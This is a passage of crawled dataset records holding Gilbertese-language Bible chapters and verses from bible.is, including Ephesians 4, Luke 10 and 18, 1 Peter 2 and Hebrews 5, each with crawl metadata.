aan te aba. 10Ma ngaia are Teuare e ruo boni Ngaia naba ae e rierake nakon are moan te rietaata are i etani karawa, bwa E aonga n rootii taabo nako. 11Boni Ngaia ae E anga temwaangina bwa taan tuatua; ao temwaangina, bwa bureitiman, ao temwaangina, bwa taan taekina te euangkerio; ao temwaangina, bwa taani kaawakina te ekaretia ao taan reirei. 12E karaoa aei ibukini kabobongaaia ake a itiaki nakoni karaoan nakoaia, are kateimatoaan rabwatani Kristo; 13ao n tokina bwa ti na bane n roko n te onimaki ae ti teuana ao n ataakin Natin te Atua; ti na riki bwa kaanga te aomata ae a ikawai, n ai aroni Kristo; ao ti na riki n ai arona ni koaua: 14bwa ti aonga n toki man arora n ataei, n uouotaki nako i aon naao ma ni katiotioaki n aki akaka n aangi nako aika reirei nako mai irouia aomata aika taani mwaamwanaa-te-aba, aika a kairiia aomata nakon te kaairua n aia mwakuri ni wanawana aika a bureburea te aba. 15Ma ti na rikirake n aaro nako nakon arora n reitaki ae e nako raoi ma Kristo, are atuun te ekaretia; ao e na reke aei n tataekinan te koaua ao ni maiuakinan te tangira. 16Ao boni mai irouna are a bane iai bwain nako te rabwata n nim raoi, ma n tauaki bwa te rabwata ae e bwanin n taian toma n ri n ai aroni baireaia. Ma ngaia ae ngkana a bane bwain nako te rabwata ni karaoi aia mwakuri n tatabeua nako n ai aroni baireaia, ao e na rikirake te rabwata ma ni kateimatoaaki n te tangira. 17Ma ngaia ae aei au taeka, ae I kamatoaa nakoimi n reitaki ma nanon te Uea, bwa kam na tai manga katootoongiia aomata aika tiaki I-Iutaia n aroni maiumi, ngkai a maiu ma aia iango aika akea boonganaia; 18a roo nanoia, ao a riki n ianena man te maiu are mai iroun te Atua ibukin te babanga are irouia, are e reke ibukini matoatoan nanoia. 19E a tia ni bua mai irouia namakinan te maamaa, ao a anga ngaiia nakon te maiu n tamware bwa a na karaoa te aro ni kammaira ni kabane ma nanoia ae e korakora nako iai. 20Ma tiaki anne are kam reireiaki iai man aroni Kristo. 21Kam a bon tia n ongo taekana; ao ngkai kam reitaki ma Ngaia, ao kam a reireiaki te koaua are iroun Iesu. 22Kam na kaaki te aomata nikawai are aromi ni maiu ngkoa, are riki ni buaakaka ibukin iran taian nano n kaibwabwaru aika a mwaamwanaa te aba. 23Kam na oneaki iroun te Taamnei n ami iango, 24ao kam na riki bwa te aomata ae e boou, are e karaoaki bwa katootoongan te Atua, ao ni bwaina te maiu ae e itiaki ni koaua. 25Ma ngaia ae kam na kaaki te kewekewe, ao kam na atoatonga te koaua n tatabemaningkami nako nakoia raomi n onimaki, ngkai bwain rabwatani Kristo ngaira n tatabemanira nako. 26Kam konaa n un iroun temanna, ma a na aki riki unimi bwa kairami nakon te bure; e na aki bungi taai i aon unimi. 27Tai angan te riaaboro ana tai. 28Ke e tai manga iraa te tia iraa; ma e na mwakuri, ni karaoa te bae e raoiroi ni baina, bwa e aonga ni konaa ni buokanibwai n are e karekea ma ane e kai nanona. 29E na tai oti nako te taeka teuana ae e kamwaraa mai wiimi, ma e na oti nako te taeka ae e raoiroi ae e na buokiia aomata ni kain nanoia, ao a na reke kabwaiaia iai akana a ongo. 30Tai karawaawata te Taamnei are e Raoiroi, are Taamnein te Atua, are Ngaia are e karika te aki nanokokoraki iroumi, bwa n te tai teuana ao kam na kainaomataaki man te bure. 31Kam na kaaki aromi ni maraki n nano, ma n unun, ma n riribai, ma n tatakaarua ni bwanaa n un, ma n taetae n iowawa, ma aromi ni kabane aika a buaakaka. 32Ao kam na bwaina te i aakoakoi, ma te nanoanga, ma te i kabwarabure, n ai aron te Atua ngkae E a tia ni kabwaraa ami bure irouni Kristo.\nEBETO 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/4","date":"2013-12-12T03:19:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164391000\/warc\/CC-MAIN-20131204133951-00087-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":915,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiini baikekei, ao te Uea, E rineia riki itingaun, ao E kanakoia ni kakauomaniia, bwa na ri moana nakoni kaawa ma taabo ake E na kawari. 2Ao E taku nakoia, A mwaiti uaa aika a bo taiia n rikoaki, ma a karako taani mwakuri. Ma ngaia ae kam na butiia Teuare ana bwai baikai bwa E na kanakoia taani mwakuri bwa a na rikoi ana uaa. 3Kam na nako; nooria, I kanakoingkami, bwa kaanga aroia tiibu aika ataei i buakoia kameaanti. 4Kam na aki uota te bwauti-ni-mwane, nnen ami bwai, ao ami kauniwae; ao kam na aki kamauriia ni kabaneia ane kam kaaitibo ma ngaiia n ami tai ni mwananga. 5Ngkana kam rin n te auti teuana, ao kam na kaangai moa, E na mena te rau n te auti aei! 6Ngkana iai ae e tauraoi ni butimwaaea te rau ikanne, ao e na tiku i aona ami rau; ma ngkana akea, ao e na manga okiringkami ami rau. 7Kam na tiku n te auti naba anne, n nim ao ni kang baike a karekei i bukimi, bwa e riai n reke nakon te tia mwakuri boona; tai bibita nnem n tiku man te auti teuana ao i mwiina teuana. 8Ngkana kam roko n te kaawa teuana, ao ngkana a mwaneingkami n akoingkami kaaina, ao kam na kang baike a kaakiaki i matami; 9kam na kamaiuiia aoraki iai, ao kam na kaangai nakoia, E kaan nakoimi uean te Atua. 10Ma ngkana kam roko n te kaawa teuana ao ngkana a aki mwaneingkami n akoingkami, ao naako nanoni kawaina nako ao kaangai, 11Ti taei bubun aontanon ami kaawa aika a nim i waera bwa te bwai ni kakoaua nakoimi bwa kam aki mutiakiniira; ma e ngae n anne ao kam na ataa aei, bwa e a roko ni kaan uean te Atua. 12I tuangkami bwa e beebete riki te rekenikai are e na reke nakoia I-Totom nakon are e na reke irouia kaain te kaawa arei n te bongi ni motiki-taeka. 13E na reke kaim Koratin! E na reke kaim Betetaita! Bwa ngke arona bwa a a tia ni karaoaki mwakuri aika a kamiimii i Turo ao i Titon ake a karaoaki i nanomi, ao a kaman rairi nanoia, n tekateka i buakoni mannang ma kunnikaia aika bwaabwainaki n tain te rawaawata. 14Ma e na beebete riki te rekenikai are e na reke nakoia I-Turo ma I-Titon nakon are e na reke nakoimi n te bongi ni motiki-taeka. 15Ao ngkoe, Kaberenaum, ko taku bwa ko na karineaki nako karawa? Ko na aki, ko na karinanoaki nako Eriti. 16Ane e ongo iroumi, ao e ongo naba irou; ao ane e ribaingkami, ao e ribaai naba; ao ane e ribaai, ao e ribaa naba Teuare E kanakomaiai. 17A oki uaake itingaun ma te kimwaareirei, ao a taku, Te Uea, a aantaeka naba iroura taimonio n aram. 18Ao E taku nakoia, I noora Tatan bwa e bwaka mai karawa kaanga ai aron te iti. 19Noria, I a tia n anganingkami te mwaaka bwa kam na konaa n tou aoia naeta ma tikaobian, ao n tokanikai i aoni mwaakan nako te Kairiribai, ao akea te bwai ae kam na kabuanibwai iai. 20Ma e ngae n anne, ao kam na aki kakatonga n aei, ae a aantaeka iroumi anti; ma kam na kakatonga bwa a koreaki arami i karawa. 21N te aoa naba arei, ngke E kairaki Iesu ni mwaakan te Taamnei are e Raoiroi, ao E kakatonga ao E kaangai, I karaoiroiko Tamau, ae Ueani karawa ma aonnaba, bwa Ko a tia ni karabai baikai mai irouia akana rabakau ma akana wanawana, ao Ko kaotii nakoia akana merimeri; eng, Tamau bwa aei aron nanom n akoi. 22I anganaki bwaaini kabane iroun Tamau; ao akea ae e ataa te Nati bwa ti te Tama; ao akea ae e ataa te Tama ma ti te Nati, ao ane E kani kaotia te Nati nakoina. 23E rairaki ngkanne nakoia ana reirei, ao E taku nakoia ni kaonotiia, A a kabwaia maata aika noori baika kam noori! 24Bwa I taku nakoimi, bwa a mwaiti buraabeti ma ueea aika kan noora ae kam nooria, ma a aki nooria, ao a kan ongo ae kam ongo, ma a aki ongo. 25Ao nooria, e tei rake te rooia temanna bwa e na kataia, ao e kaangai, Te Tia Reirei, tera ae N na karaoia bwa e aonga n reke irou te maiu are e aki toki? 26E taku Iesu nakoina, Tera are e koreaki n te Tua? E kangaa am wareware iai? 27Ao e kaeka ni kaangai, Ko na tangira te Uea ae te Atua n nanom ni kabanea, ao ni maium ni kabanea, ao ni korakoram ni kabanea, ao ni wanawanam ni kabanea; ao ko na tangira raom n ai aron tangiram i bon iroum. 28E taku Iesu nakoina, Ko a tia n anga te kaeka ae e eti; karaoa anne ao ko na maiu iai. 29Ma e kani karaoiroia teuarei, ao e taku nakon Iesu, Ao antai raou? 30Ao Iesu, E kaeka ni kaangai, E nako te aomata temanna mai Ierutarem nako Eriko, ao e bo ma taani kamwarua, ake a anai ana bwai mai irouna ao a oreia, ao a kiitanna ngke e a kaani mate. 31N te tai anne, ao e mwananga te ibonga temanna n toua te kawai naba arei; ngke e noora teuarei, ao e ri rarikina ni kararoaa. 32Ao ai aron naba temanna man te baronga are Rewi, bwa ngke e roko n te tabo arei ao ngke e nooria, ao e ri rarikina ni kararoaa. 33Ao e roko te I-Tamaria temanna n te tabo are e mena iai teuarei, ao ngke e nooria, ao e nanoangaia. 34E nakoina ao e kabwaroa te bwa ma te wain i aon ikoakina, ao e kabaebaei; e katokaa i aon are bon ana man ao e uotia nakon te auti n iruwa ao e tararuaia iai. 35N te bong are i mwiina, ao e anai uoua te tenari ao e angan teuare ana auti te auti ao e taku, Ko na tararuaa teuaei; ngkana iai riki ae ko na kabanea ibukina, ao N na kabooa mwiina nakoim ngkana I oki. 36Tera am iango, antai mai buakoia uaake teniman ae e kakoauaaki bwa raon teuare e bo ma taani kamwarua? 37Ao e kaeka te rooia ao e taku, Teuare e nanoangaia. Ao E taku Iesu nakoina, Ko na nako ao karaoa are e karaoia. 38Ngke E nakonako Iesu ma na reirei, ao E roko n te kaawa ike E a butimwaaeaki iai iroun te aine ae arana Mareta, nakon ana auti. 39Ao neierei, iai tarina ae arana Nei Maria, are e tekateka i rarikin waen Iesu ao e ongoongoraa n ana reirei. 40Ma Nei Mareta, e rangi n tabetabe ana iango n ana mwakuri; ao e nako n Iesu ao e taku, Te Uea, Ko aki tabe ngkai e kiitanai tariu bwa N na mwakuri n ti ngai? Ko na tuangnga bwa e na buokai. 41Ao E kaeka Iesu ni kaangai, Nei Mareta, Nei Mareta, ko iango n raraoma ao e aki rau nanom ibukini baika a bati; 42ma e kainnanoaki te bwai ae ti teuana. E a tia Nei Maria n rinea te tibwa are e raoiroi riki, are e na aki anaaki mai irouna.\nRUKA 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/10","date":"2013-12-10T16:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164021936\/warc\/CC-MAIN-20131204133341-00052-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1209,"character_repetition_ratio":0.043,"word_repetition_ratio":0.002,"special_characters_ratio":0.245,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBETO 3:55are e aki kaotaki nakoia natiia aomata n rooro ake ngkoangkoa, n ai arona ngkae e kaotaki ngkai iroun te Taamnei nakoia ana tia tuatua aika a tabu ma ana buraabeti aika a tabu naba; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3\/5","date":"2013-12-10T00:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164003787\/warc\/CC-MAIN-20131204133323-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999958276748657}","num_words":51,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae kam na kaaki taian nano n riribai, ma te uarao, ma te baka n raoiroi, ma taiani bakantang, ma taeka ni kammarakinano ni kabane, 2ao kam na tangira te miriki ae e itiaki ae e bwain te nano, n ai aroia merimeri aika a tibwa bungiaki, bwa kam aonga n ikawai iai ao kam kamaiuaki; 3N aron are e koreaki ni kaangai: Kam a tia ni kunea i bon iroumi bwa E atataiaomata te Uea. 4Kam na nakoina, nakon Teuare E kaanga ai aron te atiibu ae e maiu, ae e kaakiaki boonganana irouia aomata, ma E rineaki iroun te Atua bwa e kakaawaki. 5Ao ngkami naba kaanga ai aron atiibu aika a maiu aika a kaboonganaaki ibukini katean te umwantabu n taamnei, ike kam na mwakuri iai bwa ibonga aika ana aomata te Atua, n anga karea n taamnei iroun Iesu Kristo. 6Bwa e koreaki n te Baibara ae e kaangai: Noria, I kawenea te atiibu i Tion, ae te atiibu ae bouan te maninganinga ae e rineaki bwa e kakaawaki; ao ane e onimakinna ao e na bon aki kamaamaaeaki. 7Ma ngaia ae te atiibu aei, e kakaawaki nakoimi ngkami aika kam onimaki; ma nakoia akana a aki onimaki, E riki bwa bouan te maninganinga te atiibu are e kaakiaki bwa akea boonganana irouia taani kateitei. 8ao, Te atiibu are a na reke waeia iai aomata ao a tatanako, Te atiibu are a na bwaka iai. A tatanako ibukina bwa a aki ongeaaba nakon ana taeka te Atua; ao anne bon nanon te Atua ma ana baaire ma ngkoangkoa i bukiia. 9Ma ngkami bon te bootanaomata ae kam rineaki, ae ana ibonga te Uea, ae te bootanaomata ae e itiaki i matan te Atua, ae ana aomata te Atua, ae e rineaki bwa e na kaotioti ana mwakuri aika a kamiimii Teuare e weteingkami man te roo nakon ana oota ae e kamiimii. 10Tiaki ana bootanaomata te Atua ngkami ngkoa, ma ngkai kam a riki bwa ana bootanaomata; kam aki nanoangaaki ngkoa, ma ngkai kam a nanoangaaki. 11Ngkami akana kam tangiraki, I butingkami ngkai kaanga iruwa ngkami ao kaanga aomata aika a maeka n aki maan n te aonnaba aei, bwa a na aki tauaki aromi n iangon nanomi aika a bubuaka aika a aki toki ni buakana te maiu are kam anganaki. 12A na raoiroi aroaromi i buakoia aomata aika tiaki I-Iutaia; bwa ngkana a bukiningkami bwa kam karaoa ae e buaakaka, ao a noori ami mwakuri bwa a raraoi, ao a na neboa te Atua iai n te bong are E na roko iai. 13I bukin te Uea ao kam na ongeaaba nakon tuan taian tautaeka nako: bwa tao nakon te kiing 14ke nakoia akana iai nakoaia ni kairiiri n te tautaeka, aika a kanakoaki iroun te kiing bwa a na kareke kaiia akana a kaakaraoa ae e buaakaka, ao a na kamoamoaiia akana a karaoa ae e raoiroi. 15Bwa E tangiringkami te Atua bwa kam na katoki taeka n nano roo aika aia taeka aomata aika a nanobaba, ni karaoan ae e raoiroi iroumi. 16Kam na bwaina te maiu n inaomata; ma kam na tai bwaina inaomatami bwa aonami ngkana kam karaoa ae e buaakaka; ma kam na bwaina te maiu n toro ae maiuia aomata aika a tooro iroun te Atua. 17Kam na karineia aomata ni kabaneia, ao tangiriia raomi ni Kristian. Maaka te Atua. Karinea te kiing. 18Tooro, kam na aan-taeka irouia ami toka ma te maaku ae e bati; tiaki ti irouia tooka akana a raoiroi ma akana a nimamannei, ma irouia naba akana a buaakaka. 19E na kakabwaiaaki te aomata iroun te Atua ibukin aei: bwa e ataa nanon te Atua i mataniwiin nanona, ao e nanomwaaka iai ni kammarakaki n te aro ae e aki riai. 20Bwa tera kamoamoaami ae e na reke ngkana kam bure ma n oreaki iai, ao kam taotaon nanomi? Ma ngkana kam karaoa ae e raoiroi, ni kammarakaki iai, ao kam taotaon naba nanomi iai, ao kam na kakabwaiaaki iai iroun te Atua. 21Bwa kam weteaki nako iai: bwa E kammarakaki naba Kristo i bukimi, ao E katuka nakoimi te aro ae kam na kakairi iai, bwa kam aonga n tou mwiini mwanekana. 22Akea te bure ae E karaoia, ao E tuai n taekina te kewe. 23Ngke E taetaebuakaaki, ao E aki kabooa n te taetaebuaka naba; ngke E kammarakaki, ao E aki taetae bwa E na kareke kaiia ake a kammaraka; ma E kaaki taekana nakon Teuare e motiki raoi taeka. 24Ao E uoti ara bure n rabwatana i aon te kai, bwa ti na mate nakon ara bure ni kiitan, ao ti na kabane maiura ibukini karaoan nanon te Atua. Ao kam kamaiuaki n oreana. 25Bwa kam tiotio nako ngkoa n ai aroia tiibu; ma kam a oki ngkai nakon te Tia Kaawakini maiumi ma te Tia Tararuai.\n1 BETERO 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/2","date":"2013-12-07T10:20:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053923\/warc\/CC-MAIN-20131204131733-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":809,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E taekina te rongorongo ni kabootau Iesu nakoia ana reirei, ma te kaantaninga bwa a riai n taatataro n taai nako, ao a na aki bwara nanoia. 2Ao E kaangai, Iai n te kaawa teuana temanna te tia moti ae e aki maamaaka te Atua, ao akea naba kubaraia aomata irouna; 3ao iai temanna te aine ae e mate buuna n te kaawa arei, ae e aki toki n rooroko iroun te tia moti, ni buubuti buokana, ni kaangai, Buokai mai iroun au kairiribai. 4Ao ngaia e kamaanna n rawa; ma rimwi, ao e taku i nanona, I maaka te Atua ao I aki kubariia aomata, 5ma ngkae e aki karauai te aine ae e mate buuna aei, ao N na ira taangana bwa e aonga n aki kaboraai n roorokona. 6Ao E taku te uea, Kam ongo ana taeka te tia moti are e buaakaka. 7Ao te Atua, tiaki E na iri taangaia ake a rineaki irouna, ake a tangitangira buokaia ni ngaina ao ni bong? E na kamaanna n aki kaekai tangitangiia? 8I tuangkami bwa ane E na iri taangaia ni waekoa. Ma ngkana E roko Natin te Atua, E na kunea te onimaki i aon te aba? 9E taekina naba te rongorongon ni kabootau aei Iesu nakoia tabemwaang ake a taku i nanoia bwa a raoiroi, ao a kaakeai boonganaia aomata nako: 10A waerake aomata aika uoman nakon te umwantabu bwa a na tataro iai; temanna te Bwaritaio, ao temanna te tia anai taekiti. 11E tei te Bwaritaio n tataro irouna ni kaangai, Te Atua, I kaaitauko bwa tiaki aroia aomata nako ngai, aika a anai bwaai n te aro ni baabakanikawai, a aki bwaina te eti, ao taani wene ni bure, ao tiaki naba aron te tia anai taekiti aei ngai. 12I aki mamatam uoua te tai n te wiiki, ao I angaanga teuana te katebwina ni mwakoro mani bwaai ni kabane aika a reke irou. 13Ma te tia anai taekiti, e tei ni kararoaa, ao e aki kan tabeki naba matana teutana nako karawa, ma e orea bwaabwaana ao e kaangai, Te Atua nanoangaai bwa te tia bure ngai! 14I tuangkami bwa e nako teuaei nakon ana auti ma raun nanona bwa a kabwaraaki ana bure, ma e aki reke aei iroun teuare temanna; bwa ane e karietaataa ao e na kamangoraki; ao ane e kamangoria ao e na karietaataaki. 15Ao a uotiia naba ataei aika uarereke nakon Iesu bwa a aonga ni kakabwaiaaki irouna; ao ngke a noora aei ana reirei, ao a takuia aomata ake a uotiia ataei. 16Ma E weteia ataei Iesu bwa a na nakoina, ao E taku, Kanakomaia ataei akana uarereke nakoiu, ao tai tukiia; bwa aomata aika ai aroia ataei aikai bon aia bwai uean te Atua. 17E koaua ae I tuangkami, bwa ane e aki butimwaaea uean te Atua n ai aron te teei ae e uarereke, ao e na bon aki konaa n rin iai. 18Ao E titirakina Iesu temanna te tia tau-taeka, ni kaangai, Te Tia Reirei ae Ko raoiroi, tera te bwai ae I riai ni karaoia bwa e aonga n reke irou te maiu are e aki toki iai? 19E taku Iesu nakoina, E aera ngkai ko atongai bwa I raoiroi? Akea ae e raoiroi bwa ti te Atua n ti Ngaia. 20Ko atai taian tua ake a kaangai, Ko na aki wene ni bure ma te ainenumwa, Ko na aki kamateia aomata, Ko na aki kimoa, Ko na aki anga am kaotioti ae e kaairua bwa taekan temanna, Ko na karinea tamam ma tinam. 21Ao ngaia e kaangai, I tou mwiin akanne ni kabane ma ngke te kairake ngai. 22Ngke E ongo aei Iesu, ao E taku nakoina, Teuana te bwai ae akea iroum, Kabooi nako am bwai ni kabane akana iai iroum ao tibwatibwai booia nakoia aomata akana akea aia bwai, ao ane e na reke iroum iai am bwai i karawa; ao nako mai, iriirai. 23Ma ngke e ongo aei teuarei, ao e taonaki n te nanokaawaki, bwa e rangi ni kaubwai. 24E taraia Iesu ao E taku, Ai kaangaanga ra irouia aomata akana kaubwai bwa a na rin n uean te Atua! 25Bwa e kai rin riki te kaamero ni bwangabwangan te neiran nakon te aomata ae e kaubwai ngkana e na rin n uean te Atua. 26Ao a kaangai aomata ake a ongo, Ao antai ngkanne ae na konaaki ni kamaiuaki? 27Ao Ngaia E taku, Te bwai ae e aki konaaki irouia aomata, ao e boni konaaki iroun te Atua. 28Ao e taku Betero, Noria, ti a tia ni kiitan ara bwai nako ao ti iriiriko. 29Ao Ngaia E kaangai nakoia, E koaua ae I tuangkami, bwa ane e kiitana mwengana ke buuna, ke tarina, ke ana karo, ke natina ibukin te Atua, 30ae e na reke nakoina baika a mwaiti riki n te tai aei, ao e na reke naba irouna te maiu are e aki toki n te tai ae e na roko. 31Ao E bootiia ni kaokoroia ana reirei ake tengauni ma uoman Iesu, ao E taku nakoia, Noria, ae ti nangi nako Ierutarem, ao bwaai ni kabane ake a koreaki bwa taekan Natin te Aomata irouia buraabeti, a nang kakoroaki nanoia. 32Bwa ane a na anga nakoia Tientaire, ao ane a na kakanikoa, ao a na iowawa nakoina, ao a na bawareia; 33ane a na kataerea, ao a na kamatea, ao E na manga maiu n te kateni bong. 34Ma akea irouia ana reirei ae e atai nanon taeka akekei; bwa a karabaaki nanon taeka akekei nakoia, ao a aki ataa te bwai are E taekinna Iesu. 35Ngke E a kan roko i Ieriko Iesu, ao e tekateka te mataki temanna i rarikin te kawai ni bubuubuti; 36ao ngke e ongo bwanaaia aomata aika bati ake a ri kekei, ao e titirakiniia ake a kaani ma ngaia bwa tera te bwai ae e riki. 37A tuangnga ni kaangai, E ri rarikim Iesu are te I-Natareta. 38Ao ngaia e takaarua ni kaangai, Iesu ae Natin Tawita, Ko na nanoangai! 39Ao aomata ake a ri moa, a takuia ao a tuangnga bwa e na aki karongoaa; ma e a kanenea riki bwanaana n takaarua ni kaangai, Natin Tawita, Ko na nanoangai! 40Ao E tei Iesu, ao E tua bwa e na kairaki nakoina; ao ngke e a kaan, ao E titirakinna Iesu, ni kaangai, 41Tera ae ko tangirai iai bwa N na karaoia i bukim? E taku, Te Uea, I kan nooraaba! 42Ao E taku Iesu nakoina, Ko na nooraaba; e kamaiuko am onimaki. 43Ao e a nooraaba naba, ao e ira Iesu, ni karaoiroa te Atua; ao aomata ni kabaneia, ngke a nooria, ao a kamoamoaa te Atua.\nRUKA 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/18","date":"2013-12-06T15:07:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051986\/warc\/CC-MAIN-20131204131731-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1114,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:2222Ma e taku te Baibara bwa a bane aomata nako ni mena i aani mwaakan te bure; ma ngaia are ana taeka n aakoi te Atua bon i bukiia akana a onimakina Iesu Kristo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/22","date":"2013-12-06T16:51:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052204\/warc\/CC-MAIN-20131204131732-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999653101,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999653100967407}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa te ibonga ae e kakannato e a rineaki mai buakoia raona, bwa e na mwakuri ibukin te Atua i bukiia aomata, bwa e na kaakaraoi taromauri ma n angaanga karea ibukini buure. 2Ngkai a bati naba mamaaran te ibonga ae e kakannato ao bon iai ana konaa n nanoangaia akana a karaoi mwakuri aika a kaairua ibukini babangaia; 3ibukini mamaarana anne, ao e bon riai bwa e na anga karea tiaki ti ibukin aia bure aomata, ma ibukin naba oin ana bure. 4Ao akea temanna ae e anaa te karineaki aei bwa karineana, ae te nakoa n ibonga ae e kakannato, ma ti ngkana e weteaki nako iai iroun te Atua, n ai aron Aaron. 5Ao ai aron naba Kristo, E aki neboaia i bon irouna n arona n riki bwa te Ibonga ae e Kakannato Ngaia, ma E neboaki iai iroun te Atua ngke E kaangai nakoina, Bon Natiu Ngkoe, I karikiko n te bong aei. 6Ao E a manga kaangai naba n te tabo teuana: Bon te Ibonga Ngkoe n aki toki N ai aroni Merekitereka. 7Ngke E maiu Iesu i aon te aba, ao E tataro ni buubuti ma te tang ae e korakora ma rannimatana nakon Teuare e konaa te kamaiua man te mate, ao E ongo irouna ibukina bwa iai maakan ma karinean te Atua irouna. 8E boni ngae ngke te Nati, ma E reireinaki te ongeaaba ni baike E maraki iai; 9ao ngke E a bobonga raoi arona, ao E riki iai bwa te tia karika te maiu are e aki toki nakoia ni kabaneia aika a ira nanona; 10ao E atongaki iroun te Atua bwa te Ibonga ae e Kakannato, ae te karinan ae Merekitereka. 11A bati ara taeka aika ti kan taekin ibukin te nakoa n ibonga aei ma a kaangaanga aroia ni kabwarabwaraaki nakoimi, ibukina ngkai kam aki kai oota iai. 12Kam a riai ni kaman tia n riki bwa taan reirei, ma ae kam bon tangira naba temanna bwa e na reireingkami baike moanreirei n ana taeka te Atua; ao ae kam bon teimatoa naba n tangira te miriki, ao tiaki te amwarake ae e matoatoa. 13Bwa ane e momooi n te miriki ao ai aron te merimeri ae akea ana atatai n taekani karaoan nanon te Atua. 14Ma te amwarake ae e matoatoa bon i bukiia aika a ikawai, akana a kataneiaaki bwa a aonga ni konaa n ataa te kaokoro i marenan ae e raoiroi ma ae e buaakaka.\nEBERA 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/5","date":"2013-12-13T01:55:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164796892\/warc\/CC-MAIN-20131204134636-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":413,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngai, taari, I aki konaa n taetae nakoimi ngke arona bwa aomata ngkami aika iai iroumi Taamnein te Atua, ma I taetae nakoimi bwa aomata ngkami aika ana bwai te aba, ibukina bwa ai aroia merimeri ngkami n aromi n onimakina Kristo. 2I kamooingkami n te miriki, ao I aki anganingkami te amwarake ae e matoatoa; bwa kam tuai n tau nako iai, ao kam tuai naba ngkai n tau n anganaki, 3ibukina bwa kam teimatoa ni bwaina te maiu are e bobuaka ma nanon te Atua. Bwa ngkai iai iroumi te bakantang, ma te kauntaeka, ao tiaki kam eekaanako nanon te Atua, ao kam katootoong aroia aomata? 4Bwa ngkae e kaangai temanna, Raoni Bwauro ngai; ao temanna e kaangai, Raon Aboro ngai; ao tiaki bwa aei te anua n aomata? 5Bwa tera aron Aboro? Ao tera aroni Bwauro? Bon taani buobuoki ngaira, aika kam riki n onimaki iroura; ao ti karaoa ara mwakuri ni kaeti ma tibwangara are E anganiira te Uea. 6I uniki aroka ngai, ao e teboki Aboro; ma ana bwai te Atua karikirakeani maiun te aroka. 7Ma ngaia ae e aki kakaawaki te aomata are e unika te aroka, ao te aomata naba are e tebotebokia; ma E kakaawaki te Atua bwa Ngaia are e karikirakea maiun te aroka. 8Akea kaokoron te aomata are e unika te aroka ma te aomata are e teboteboka te aroka; ao ane a na anganaki n tatabemaniia booia n ai aron te mwakuri are a a tia ni karaoia. 9Aboro ao ngai, bon raao ni mwakuri ibukin te Atua; ao ngkami ana o n aroka te Atua, ao ana auti ni maeka. 10N aron ana bwai n 